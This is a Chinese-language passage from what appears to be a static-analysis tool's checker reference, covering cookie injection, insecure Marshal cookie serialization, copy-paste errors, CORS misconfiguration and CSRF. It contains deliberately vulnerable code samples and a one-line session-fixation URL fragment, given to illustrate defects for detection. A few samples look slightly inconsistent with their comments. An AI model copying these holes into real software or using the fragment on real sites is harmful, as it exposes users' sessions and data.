- `same_on_both_sides` - 该表达式的结果始终相同，因为某些二进制运算的两个操作数（例如比较或减法）都是同一表达式。例如，程序员可能打算编写第二个示例，而不是第一个。

非正常代码：

```
if (something != something)
...
```

正常代码：

```
if (something != anotherThing)
 ...
```

这些缺陷对于此检查器报告的所有表达式都具有常量结果这一规则是个例外。虽然该结果通常不是常量，但它也不可能是正常值。

- unnecessary\_op\_assign - 运算 ( &= 或 |= ) 赋值了常量值。设置了选项 report\_unnecessary\_op\_assign 时，会出现此事件。

## 4.103. COOKIE\_INJECTION

安全检查器

### 4.103.1. 概述

支持的语言：. JavaScript、Python、TypeScript

COOKIE\_INJECTION 报告使用用户控制的字符串构造 cookie 的代码中的缺陷。此类代码可能允许攻击者设置会话 ID (会话定位)、更改范围或 cookie 的过期时间，或通过设置新 cookie 以其他方式影响应用程序的行为。

Cookie 的当前设计没有办法确定 cookie 的设置方式。因此，能够注入 cookie 的攻击者将能够操纵使用该 cookie 的后续事务。

默认禁用：COOKIE\_INJECTION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 COOKIE\_INJECTION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

### 4.103.2. 缺陷剖析

COOKIE\_INJECTION 缺陷说明了不可信 (被污染) 数据流入 cookie 的数据流路径。该路径从不可信数据源开始，例如在 Python 中在服务器端 Web 应用程序中读取 HTTP 请求参数，或在客户端 JavaScript 中读取攻击者可能控制的 URL 的属性 (例如 window.location.hash) 或来自其他框架中的数据。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该路径的最终部分表示流入 cookie 的数据。

### 4.103.3. 示例

本部分提供了一个或多个 COOKIE\_INJECTION 示例。

#### 4.103.3.1. JavaScript

```
//Extract a value from key=value type strings
```

```
function extract(str, key) {
 if (str == null) return '';
 var keyStart = str.indexOf(key + "=");
 if (-1 === keyStart) return '';
 var valStart = 1 + str.indexOf("=", keyStart);
 var valEnd = str.indexOf("&", keyStart);
 var val = -1 === valEnd ? str.substring(valStart) : str.substring(valStart,
 valEnd);
 return val;
}

//Set the user's favorite background color
function doColor() {
 var h = location.hash.substring(1);
 if (h.indexOf("faveColor=") >= 0) {
 document.cookie = h; // Defect here
 }
 var faveColor = extract(document.cookie, "faveColor");
 document.bgColor = faveColor;

 console.log(document.cookie);
}
window.onhashchange = doColor;
```

利用示例：将以下代码段追加至页面 URL 以设置 sessionid cookie：

```
#sessionid=42;faveColor=red
```

#### 4.103.3.2. Python

```
def setCookie():
 # Pass this tainted string to the cookie value
 taint = requests.get('example.com').text
 cj = cookielib.CookieJar()
 ck = cookielib.Cookie(
 0,
 'name',
 taint, # The cookie value
 None,
 False,
 '.mydomain.net',
 False,
 False,
 '/',
 False,
 False,
 None,
 True,
 None,
 None,
 {'HttpOnly': None},
 False)
```

```
cj.set_cookie(ck)
```

#### 4.103.4. 选项

本部分描述了一个或多个 COOKIE\_INJECTION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- COOKIE\_INJECTION:distrust\_all:<boolean> - [所有语言] 将此选项设置为 true 等同于将此检查器的所有 trust\_\* 检查器选项设置为 false。默认值为 COOKIE\_INJECTION:distrust\_all:false。  
如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。  
如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中的 Cookie 的数据，例如来自 document.cookie。此选项之前称为 trust\_client\_cookie。默认值为 COOKIE\_INJECTION:trust\_js\_client\_cookie:true。
- COOKIE\_INJECTION:trust\_js\_client\_external:<boolean> - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 trust\_external。默认值为 COOKIE\_INJECTION:trust\_js\_client\_external:false。
- COOKIE\_INJECTION:trust\_js\_client\_html\_element:<boolean> - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 false，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 textarea 和 input 元素。默认值为 COOKIE\_INJECTION:trust\_js\_client\_html\_element:true。
- COOKIE\_INJECTION:trust\_js\_client\_http\_header:<boolean> - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 COOKIE\_INJECTION:trust\_js\_client\_http\_header:true。
- COOKIE\_INJECTION:trust\_js\_client\_http\_referer:<boolean> - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中 referer HTTP 头文件（来自 document.referrer）的数据。默认值为 COOKIE\_INJECTION:trust\_js\_client\_http\_referer:false。
- COOKIE\_INJECTION:trust\_js\_client\_other\_origin:<boolean> - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中其他框架或其他源中内容的数据，例如来自 window.name。默认值为 COOKIE\_INJECTION:trust\_js\_client\_other\_origin:false。
- COOKIE\_INJECTION:trust\_js\_client\_url\_query\_or\_fragment:<boolean> - [仅限 JavaScript、TypeScript]  
如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中查询或 URL 的片段部分的数据，例如来自 location.hash 或 location.query。默认值为 COOKIE\_INJECTION:trust\_js\_client\_url\_query\_or\_fragment:false。

- COOKIE\_INJECTION:trust\_command\_line:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 COOKIE\_INJECTION:trust\_command\_line:true。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- COOKIE\_INJECTION:trust\_console:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_console:true。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- COOKIE\_INJECTION:trust\_cookie:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将来自 HTTP Cookie 的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- COOKIE\_INJECTION:trust\_database:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_database:true。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- COOKIE\_INJECTION:trust\_environment:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- COOKIE\_INJECTION:trust\_filesystem:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- COOKIE\_INJECTION:trust\_http:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- COOKIE\_INJECTION:trust\_http\_header:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_http\_header:false。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- COOKIE\_INJECTION:trust\_mobile\_other\_app:<boolean> - [仅限 JavaScript、TypeScript] 将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 COOKIE\_INJECTION:trust\_mobile\_other\_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- COOKIE\_INJECTION:trust\_mobile\_other\_privileged\_app:<boolean> - [仅限 JavaScript、TypeScript] 将此选项设置为 false 会导致分析将以下数据视为被污染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 COOKIE\_INJECTION:trust\_mobile\_other\_privileged\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。

- COOKIE\_INJECTION:trust\_mobile\_same\_app:<boolean> - [仅限 JavaScript、TypeScript]  
将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_mobile\_same\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
- COOKIE\_INJECTION:trust\_mobile\_user\_input:<boolean> - [仅限 JavaScript、TypeScript]  
将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染。默认值为 COOKIE\_INJECTION:trust\_mobile\_user\_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。
- COOKIE\_INJECTION:trust\_network:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。
- COOKIE\_INJECTION:trust\_rpc:<boolean> - [仅限 Python] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- COOKIE\_INJECTION:trust\_system\_properties:<boolean> - [仅限 Python]  
将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 COOKIE\_INJECTION:trust\_system\_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

## 4.104. COOKIE\_SERIALIZER\_CONFIG

安全检查器

### 4.104.1. 概述

支持的语言：. Ruby

COOKIE\_SERIALIZER\_CONFIG 确定何时为 Web 应用程序配置了 cookie 的不安全序列化机制。

当 Web 应用程序配置为使用序列化程序获取 cookie 值时，它将尝试对从 Web 客户端收到的 cookie 进行反序列化。如果序列化机制不安全，攻击者可以发送特制的有效负载以在 Web 服务器上执行任意代码。

默认启用：COOKIE\_SERIALIZER\_CONFIG 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

### 4.104.2. 示例

本部分提供了一个或多个 COOKIE\_SERIALIZER\_CONFIG 示例。

在 Ruby on Rails 应用程序中，Marshal 被认为是 cookie 的不安全序列化程序，因为它允许执行任意代码。

对于下面这样的配置，将显示 COOKIE\_SERIALIZER\_CONFIG 缺陷。

```
Rails.application.config.action_dispatch.cookies_serializer = :marshal
```

## 4.105. COPY\_PASTE\_ERROR

质量检查器

### 4.105.1. 概述

支持的语言：. C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、PHP、Python、Ruby、Scala、Swift、TypeScript、Visual Basic

COPY\_PASTE\_ERROR 查找复制粘贴了代码段并对复制实施了系统性更改的很多情况。但是，因为此类更改未完成，无意中导致复制的某些部分保持不变。

目前，该检查器会报告程序员原本打算重命名标识符但却忘记更改某个实例的情况。请注意，该检查器不会报告所有复制粘贴实例，它只会报告包含错误的实例。

默认启用：COPY\_PASTE\_ERROR 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

### 4.105.2. 缺陷剖析

COPY\_PASTE\_ERROR 缺陷表示具有相同结构的两个或多个代码段。它包括“原始副本”以及零个或多个示例（其中原始副本已复制粘贴和更新）。主要事件表示与“原始副本”具有相同结构，但并不是原始副本中标识符的每一次出现都已更新的代码段。

### 4.105.3. 示例

本部分提供了一个或多个 COPY\_PASTE\_ERROR 示例。

#### 4.105.3.1. C/C++

下面的示例显示了复制粘贴缺陷，其中应该将 `a` 的第二个实例替换为 `b`。

```
class CopyPasteError {
 int square(int x) {
 return x*x;
 }
 int example(int a, int b, int x, int y) {
 int result = 0;
 if (a > 0) {
 result = square(a) + square(x);
 }
 if (b > 0) {
 // "square(a)" should read "square(b)"
 result = square(a) + square(y);
 }
 return result;
 }
};
```

#### 4.105.3.2. C# 和 Java

```
class TestCopyPasteError {
 bool foo(int k) { return true; }
 bool bar(int k) { return true; }

 void stuff() { }

 static readonly int key1 = 3, key2 = 5;

 void bar() {
 if (foo(key1) && bar(key1)) { stuff(); }
 // A COPY_PASTE_ERROR defect occurs here.
 if (foo(key2) && bar(key1)) { stuff(); }
 }
}
```

#### 4.105.3.3. Go

在下面的示例中，`y=x+z` 语句导致了 COPY\_PASTE\_ERROR 缺陷。

```
func test_assign(a, b bool, x, y, z int) {
 if (a && b) {
 x = x + z
 }
 if (a && b) {
 Y = x + z;
 }
}
```

#### 4.105.3.4. Visual Basic

下面的示例说明了 Visual Basic 代码中的复制粘贴缺陷。

```
Class TestCopyPasteError
 Private Function Foo(k As Integer) As Boolean
 Return True
 End Function

 Private Function Bar(k As Integer) As Boolean
 Return True
 End Function

 Private Sub Stuff()
 End Sub

 Shared ReadOnly key1 As Integer = 3, key2 As Integer = 5

 Private Sub Bar()
 ' The original code is here
 End Sub

```

```

If foo(key1) AndAlso bar(key1) Then
 stuff()
End If

' A COPY_PASTE_ERROR defect occurs here: 'key1' in the right operand should be
changed to 'key2'
If foo(key2) AndAlso bar(key1) Then
 stuff()
End If
End Sub
End Class

```

#### 4.105.3.5. JavaScript

```

function copyPasteError(arr1, arr2) {
 var ret = 10;
 if(Array.isArray(arr1) && arr1.length > 0 && typeof arr1[0] === "number") {
 ret += arr1[0];
 }

 if(Array.isArray(arr2) && arr2.length > 0 && typeof arr2[0] === "number") {
 // Defect due to arr1[0]
 ret += arr2[0];
 }
}

```

#### 4.105.3.6. PHP

```

function baz1($a, $b) {
 if ($a && $b) {
 $x = $x + $z;
 }
 if ($a && $b) {
 $y = $x + $z; // A COPY_PASTE_ERROR here
 }
}

```

#### 4.105.3.7. Python

```

def baz1(a, b):
 if (a and b):
 x = x + z
 if (a and b):
 y = x + z # A COPY_PASTE_ERROR here

```

#### 4.105.3.8. Ruby

```

def copyPasteError(user, topic)
 topic_id = topic.is_a?(Topic) ? topic.id : 0
 user_id = user.is_a?(User) ? topic.id : 0 # A COPY_PASTE_ERROR here
 # "topic.id" should read "user.id"

```

end

#### 4.105.3.9. Scala

```
class TestCopyPasteError {
 def foo(p : Int) : Boolean = { return true }
 def bar(p : Int) : Boolean = { return true }
 def stuff() = {}

 def example(key1 : Int, key2 : Int) {
 if (foo(key1) && bar(key1)) {
 stuff()
 }
 if (foo(key2) && bar(key1)) { // COPY_PASTE_ERROR defect
 stuff()
 }
 }
}
```

#### 4.105.3.10. Swift

```
func foo(_ k: Int) -> Bool { return true; }
func bar(_ k: Int) -> Bool { return true; }

func stuff() { }

func test(_ key1: Int, _ key2: Int) {
 if (foo(key1) && bar(key1)) { stuff(); }
 if (foo(key2) && bar(key1)) { stuff(); } // COPY_PASTE_ERROR
}
```

#### 4.105.4. 事件

本部分描述了 COPY\_PASTE\_ERROR 检查器生成的一个或多个事件。

- original - 被复制代码的原始实例。
- copy\_paste\_error - 复制了包含缺陷的代码。

### 4.106. COPY\_WITHOUT\_ASSIGN

质量、规则检查器

#### 4.106.1. 概述

支持的语言：. C++

COPY\_WITHOUT\_ASSIGN 报告类包含至少一个用户写入复制构造函数但缺少用户写入赋值运算符的很多情况。要被视为赋值运算符以便符合此规则，赋值运算符必须可用于分配整个对象。假设不打算使用私有复制构造函数，并且不需要赋值运算符，即使复制构造函数为私有，最好也包含私有赋值运算符。

此规则不要求类拥有任何资源，因此它可能报告实际上不需要赋值运算符的类。还有可能指定类的对象绝不会被赋值，在此类情况下即使类确实拥有资源，也不会由于包含赋值运算符而导致任何实际的程序缺陷。

默认禁用：COPY\_WITHOUT\_ASSIGN 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

#### 4.106.2. 示例

本部分提供了一个或多个 COPY\_WITHOUT\_ASSIGN 示例。

简单字符串封装类：

```
class MyString {
 char *p;
public:
 MyString(const char *s) : p(strdup(s)) {}
 ~MyString() {free(p);}
 // copy constructor
 MyString(const MyString &init) : p(strdup(init.p)) {}
 // no assignment operator
 const char *str() const {return p;}
 operator const char *() const {return str();}
};
```

为 MyString 对象赋值最终会由于多个对象意外共享了同一字符串缓冲区而导致释放后继续使用错误。

#### 4.106.3. 事件

本部分描述了 COPY\_WITHOUT\_ASSIGN 检查器生成的一个或多个事件。

- copy\_without\_assign：类包含用户写入的复制构造函数，但不包含用户写入的赋值运算符。

### 4.107. CORS\_MISCONFIGURATION

#### 4.107.1. 概述

支持的语言：. C#、Java、JavaScript、TypeScript

CORS\_MISCONFIGURATION 检查器查找跨源资源共享 (CORS) 策略的不安全配置，该策略使用额外的 HTTP 头文件，以允许在一个源运行的应用程序访问来自不同源的选定资源。此策略的错误配置可能导致恶意应用程序（在外部源运行）未经授权访问和修改应用程序的资源，导致中间人攻击和泄露敏感信息。该检查器根据应用程序的语言和所使用的框架或库报告不同类型错误配置。

#### 4.107.1.1. C#

此检查器的 C# 版本（对 Webapp Security 启用）报告以下问题：

- cors\_with\_credentials\_all\_origin

对所有源的带验证信息的 CORS 请求的响应：当 Access-Control-Allow-Origin 头文件被设置为 \*，并且 Access-Control-Allow-Credentials 头文件被设置为 true 时。

- cors\_with\_credentials\_http\_origin

针对携带验证信息的请求的未加密可信源：当 Access-Control-Allow-Origin 头文件包括 HTTP 源，并且 Access-Control-Allow-Credentials 头文件被设置为 true 时。

- cors\_with\_credentials\_null\_origin

与 null 源共享携带验证信息的 CORS 请求的响应：当 Access-Control-Allow-Origin 头文件被设置为 null，并且 Access-Control-Allow-Credentials 头文件被设置为 true 时。

#### 4.107.1.2. Java

此检查器的 Java 版本（对 Webapp Security 启用）报告以下问题：

- cors\_with\_credentials\_http\_origin

针对携带验证信息的请求的未加密可信源：当 Access-Control-Allow-Origin 头文件包括 HTTP 源，并且 Access-Control-Allow-Credentials 头文件被设置为 true 时。

此问题对 Webapp Security 启用。

- cors\_with\_credentials\_null\_origin

与 null 源共享携带验证信息的 CORS 请求的响应：当 Access-Control-Allow-Origin 头文件被设置为 null，并且 Access-Control-Allow-Credentials 头文件被设置为 true 时。

此问题对 Webapp Security 启用。

#### 4.107.1.3. JavaScript

此检查器的 JavaScript 版本（对 Webapp Security 启用）报告以下问题：

- cors\_configured\_globally

CORS 策略将全局应用。

- cors\_with\_credentials\_all\_origin

当 CORS 策略被设置为反映 Access-Control-Allow-Origin 头文件中的任何源，并且 Access-Control-Allow-Credentials 头文件被设置为 true 时，凭据发送给所有源。

- cors\_with\_credentials\_http\_origin

针对携带验证信息的请求的未加密可信源：当 Access-Control-Allow-Origin 头文件包括 HTTP 源，并且 Access-Control-Allow-Credentials 头文件被设置为 true 时。

- cors\_with\_credentials\_null\_origin

与 null 源共享携带验证信息的 CORS 请求的响应：当 Access-Control-Allow-Origin 头文件被设置为 null，并且 Access-Control-Allow-Credentials 头文件被设置为 true 时。

- cors\_with\_credentials\_subdomain\_origin

当反映任何子域源，并且 Access-Control-Allow-Credentials 头文件被设置为 true 时，凭据发送给所有子域源。

## 4.107.2. 示例

本部分提供若干 CORS\_MISCONFIGURATION 示例。

### 4.107.2.1. C#

在下面的示例中，显示了 CORS\_MISCONFIGURATION 缺陷和 cors\_with\_credentials\_all\_origin 问题，其中 AllowAnyOrigin() 函数被调用，因为通过 AllowCredentials() 对此响应也启用了凭证。

```
using Microsoft.Extensions.DependencyInjection;
using System.Collections.Generic;

namespace EatParser.Api.Extension
{
 public class CorsExtension
 {
 public static void Add(IServiceCollection services)
 {
 services.AddCors(options =>
 {
 options.AddPolicy("OriginPolicy",
 b => b.AllowAnyOrigin().AllowAnyHeader().AllowCredentials());
 });
 }
 }
}
```

### 4.107.2.2. Java

在下面的示例中，显示了 CORS\_MISCONFIGURATION 缺陷和 cors\_with\_credentials\_null\_origin 问题，其中 addHeader() 函数将 Access-Control-Allow-Origin 头文件设置为 null，因为对此响应也启用了凭据。

```
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
```

```
...
public void doFilter(ServletRequest servletRequest, ServletResponse
servletResponse, FilterChain chain)
throws ServletException {

 HttpServletRequest request = (HttpServletRequest) servletRequest;

 // Authorize null domains to consume the content, with credentials required
 ((HttpServletResponse) servletResponse).addHeader("Access-Control-Allow-
Origin", "null");
 ((HttpServletResponse) servletResponse).addHeader("Access-Control-Allow-
Credentials", "true");

 // pass the request along the filter chain
 chain.doFilter(request, servletResponse);
}
```

在下面的示例中，显示了 CORS\_MISCONFIGURATION 缺陷和 cors\_with\_credentials\_http\_origin 问题，其中 builder.header() 函数将 Access-Control-Allow-Origin 头文件设置为 HTTP 源，而非 HTTPS 源。

```
import javax.ws.rs.core.Response;
import javax.ws.rs.core.ResponseBuilder;

...
public Response getUserById(Long id) {
 ResponseBuilder builder = Response.status(Response.Status.BAD_REQUEST);
 ...
 builder.header("Access-Control-Allow-Origin", "http://example.com");
 builder.header("Access-Control-Allow-Credentials", "true");
 builder.header("Access-Control-Allow-Methods", "GET, POST, PUT, OPTIONS");
 builder.header("Access-Control-Allow-Headers", "x-requested-with,Content-Type");

 return builder.build();
}
}
```

#### 4.107.2.3. JavaScript

在下面的示例中，对于在 get() 方法中传递的 cors 中间件，如果在 corsOptions 初始化对象中将 origin 属性设置为 true，则显示 CORS\_MISCONFIGURATION 缺陷，因为 CORS 策略被设置为允许凭据，并且它反映 Access-Control-Allow-Origin 头文件中的任何源。

```
var express = require('express');
var cors = require('cors');
var app = express();

var corsOptions = {
 methods: [],
 allowedHeaders: [],
```

```
credentials: true,
origin: true
};

app.get('/', cors(corsOptions), function(req, res){});
```

## 4.108. CORS\_MISCONFIGURATION\_AUDIT

### 4.108.1. 概述

支持的语言：. C#、Java、JavaScript、TypeScript

CORS\_MISCONFIGURATION\_AUDIT 检查器查找跨源资源共享 (CORS) 策略的不安全配置，该策略使用额外的 HTTP 头文件，以允许在一个源运行的应用程序访问来自不同源的选定资源。此策略的错误配置可能导致恶意应用程序（在外部源运行）未经授权访问和修改应用程序的资源，导致中间人攻击和泄露敏感信息。该检查器根据应用程序的语言和所使用的框架或库，报告需要审计的 CORS 配置中不同类型的问题（与 CORS\_MISCONFIGURATION 进行比较）。

#### 4.108.1.1. C#

此检查器的 C# 版本（在 Audit Mode 中启用）报告以下问题：

- cors\_expose\_sensitive\_header

泄露敏感的头文件：当 Access-Control-Expose-Headers 头文件包括敏感的头文件时。

- cors\_methods\_allowed

允许的方法列表不受限制：当 Access-Control-Allow-Methods 头文件被设置为 \* 时。

- cors\_without\_credentials\_permissive\_origin

CORS 请求允许来自未经过身份验证请求的所有源：当 Access-Control-Allow-Origin 头文件被设置为 \* 时。

#### 4.108.1.2. Java

此检查器的 Java 版本（在 Audit Mode 中启用）报告以下问题：

- cors\_expose\_sensitive\_header

泄露敏感的头文件：当 Access-Control-Expose-Headers 头文件包括敏感的头文件时。

- cors\_methods\_allowed

允许的方法列表不受限制：当 Access-Control-Allow-Methods 头文件被设置为 \* 时。

- cors\_without\_credentials\_permissive\_origin

CORS 请求允许来自未经过身份验证请求的所有源：当 `Access-Control-Allow-Origin` 头文件被设置为 `*` 时。

#### 4.108.1.3. JavaScript

此检查器的 JavaScript 版本（在 Audit Mode 中启用）报告以下问题：

- `cors_expose_sensitive_header`  
当 `Access-Control-Expose-Headers` 头文件包括敏感的头文件时，泄露敏感的头文件。
- `cors_headers_allowed`  
当 `Access-Control-Allow-Headers` 头文件被设置为 `*` 时，允许的方法列表不受限制。
- `cors_methods_allowed`  
当 `Access-Control-Allow-Methods` 头文件被设置为 `*` 时，允许的方法列表不受限制。
- `cors_origin_string`  
可信源被设置为单个字符串变量，因此被公开给任何恶意请求。
- `cors_preflight_age_too_long`  
预检响应缓存时间设置为大于 1800 秒的值。
- `cors_without_credentials_permissive_origin`  
CORS 请求允许来自未经过身份验证的请求的所有源：当 `Access-Control-Allow-Origin` 头文件
  - 被设置为通配符 `*` 时。
  - 是宽松正则表达式时。
  - 被配置为反映任何源时。
  - 未定义时（因为默认值为通配符：`*`）。

#### 4.108.2. 示例

本部分提供了一个或多个 `CORS_MISCONFIGURATION_AUDIT` 示例。

##### 4.108.2.1. C#

在下面的示例中，显示了 `CORS_MISCONFIGURATION_AUDIT` 缺陷和 `cors_methods_allowed` 问题，其中在配置文件的 `customHeaders` 节点中 `Access-Control-Allow-Methods` 被设置为 `*`。

```
<configuration>
```

```

<system.webServer>
 <httpProtocol>
 <customHeaders>
 <add name="Access-Control-Allow-Origin" value="https://app.ibos.cn" />
 <add name="Access-Control-Allow-Headers" value="Origin, Accept,
Content-Type, Authorization, ISCORS" />
 <add name="Access-Control-Allow-Methods" value="*" /> <!-- defect here
-->
 </customHeaders>
 </httpProtocol>
 <modules>
 <remove name="WebDAVModule" />
 </modules>
 <handlers>
 <remove name="OPTIONS" />
 <remove name="WebDAV" />
 </handlers>
 <security>
 <requestFiltering>
 <requestLimits maxAllowedContentLength="1048576000"></requestLimits>
 </requestFiltering>
 </security>
</system.webServer>
</configuration>

```

#### 4.108.2.2. Java

在下面的示例中，显示了 CORS\_MISCONFIGURATION\_AUDIT 缺陷，以及 cors\_without\_credentials\_permissive\_origin 问题和 cors\_expose\_sensitive\_header 问题，其中 mvc:mapping 元素配置的 exposed-headers 属性被设置为 Authorization，allowed-origins 属性被设置为 \*。在这种情况下，应用程序允许来自任何源的请求，并将 Authorization 头文件公开给任何源，这可能导致泄漏敏感信息。

```

<mvc:cors>
 <mvc:Mapping path="/api/**"
 allowed-origins="*"
 allowed-methods="GET, PUT"
 exposed-headers="Authorization"
 allow-credentials="true"
 max-age="123" />
</mvc:cors>

```

在下面的示例中，显示了 CORS\_MISCONFIGURATION\_AUDIT 缺陷和 cors\_methods\_allowed 问题，其中 allowMethods() 函数将 Access-Control-Allow-Methods 头文件设置为 \*，对所有 HTTP 方法配置跨源访问。

```

import org.springframework.web.servlet.config.annotation.CorsRegistry;
...
public void addCorsMappings(CorsRegistry registry) {
 if (corsRegistryEnabled) {
 registry.addMapping("/**")
 .exposedHeaders("Content-Range")
 }
}

```

```

 .allowedMethods("*")
 .allowedOrigins("https://example.com");
 }
}

```

#### 4.108.2.3. JavaScript

在下面的示例中，在为 Fastify 应用程序配置 CORS 时，如果将 cors 中间件选项的 origin 属性设置为通配符，将显示 CORS\_MISCONFIGURATION\_AUDIT 缺陷。

```

var fastify = require('fastify')();
var cors = require('cors');

fastify.delete('/delete', cors({methods: [], allowedHeaders: [], origin: ['*']}),
 function(req, res){
 ...
});

```

### 4.109. CSRF

安全检查器

#### 4.109.1. 概述

支持的语言：. C#、Java、JavaScript、Python、Ruby、TypeScript、Visual Basic

CSRF 检查器可通过识别可修改服务器状态的控制器入口点，查找跨站点请求伪造 (CSRF) 漏洞，并且会在入口点未采用已识别的 CSRF 保护方案加以保护时报告缺陷。

CSRF 是一种攻击方式，它可利用 Web 客户端已验证的会话对远程服务器执行有害操作。通常，用户会在不知情的情况下加载会发出具有其他作用的请求的恶意 Web 网页。由于用户 cookie 伴随对站点的请求，因此活动会话标识符也会伴随恶意请求。即使请求起源于另一站点中的内容也是如此。

在服务器上，成功的 CSRF 攻击很难检测到，与用户执行的任何合法操作并没有区别。这两类事务都起源于用户的浏览器，而且这两类事务都包括适当的会话标识符。从 CSRF 中恢复也同样困难。

阻止 CSRF 攻击的建议策略是使用同步器令牌模式。同步器令牌是服务器为每个用户会话生成的伪随机（或者不可预测）值。对于影响用户的服务器状态的任何表单提交或操作，该令牌被作为隐藏字段包括在内或者被作为 HTTP 请求参数传递。然后，服务器会检查每个请求是否具有有效的活动令牌。由于这些令牌在本地页面内容中有效，因此在其他站点中运行的恶意脚本无法访问它们。

实施此 CSRF 预防策略需要几个过程：

- 以加密的方式生成安全令牌并在用户会话有效期内缓存这些令牌。
- 修改所有表单和 JavaScript 回调以便在其请求中包括令牌。
- 检查确认修改服务器状态的所有请求都包括对关联用户有效的同步器令牌。CSRF 检查器主要检查此过程。

CSRF 检查器可识别多种由于缺少同步器令牌或该令牌无效而拒绝请求的方式：

- 验证器方法调用 - 如果使用验证器函数调用检查同步器令牌，该检查器将报告未采取保护措施的控制器请求处理程序方法（应该对其执行此验证）。

该检查器将尝试自动识别验证器方法。您可以显式识别或微调该验证器方法；请参阅“自定义检查器”和 `validator` 检查器选项。

- Java servlet 筛选器 - 如果使用 servlet 筛选器检查同步器令牌，该检查器可以识别本应加以保护但未采取保护措施的特定访问路径和 HTTP 请求方法处理程序。如果控制器方法的 URI 访问路径位于筛选器的 URL 映射之外，该检查器会报告缺陷。如果方法为未通过筛选器进行保护的 HTTP 请求方法动词服务，它也会报告缺陷。支持对以下技术执行此 URI 和请求方法特定分析：

- Java servlet
- Spring MVC 3.0

该检查器还包括针对 several 筛选器的内置支持，包括 Spring Security CSRF 保护（在版本 3.2 中引入）和 OWASP CSRFGuard 库。

- ASP.NET Site.Master 页面 - 在 ASP.NET Web 表单中，该检查器可识别使用 Site.Master 页面（在 `master_Page_Load` 事件处理程序中采用同步器令牌检查）的情况。
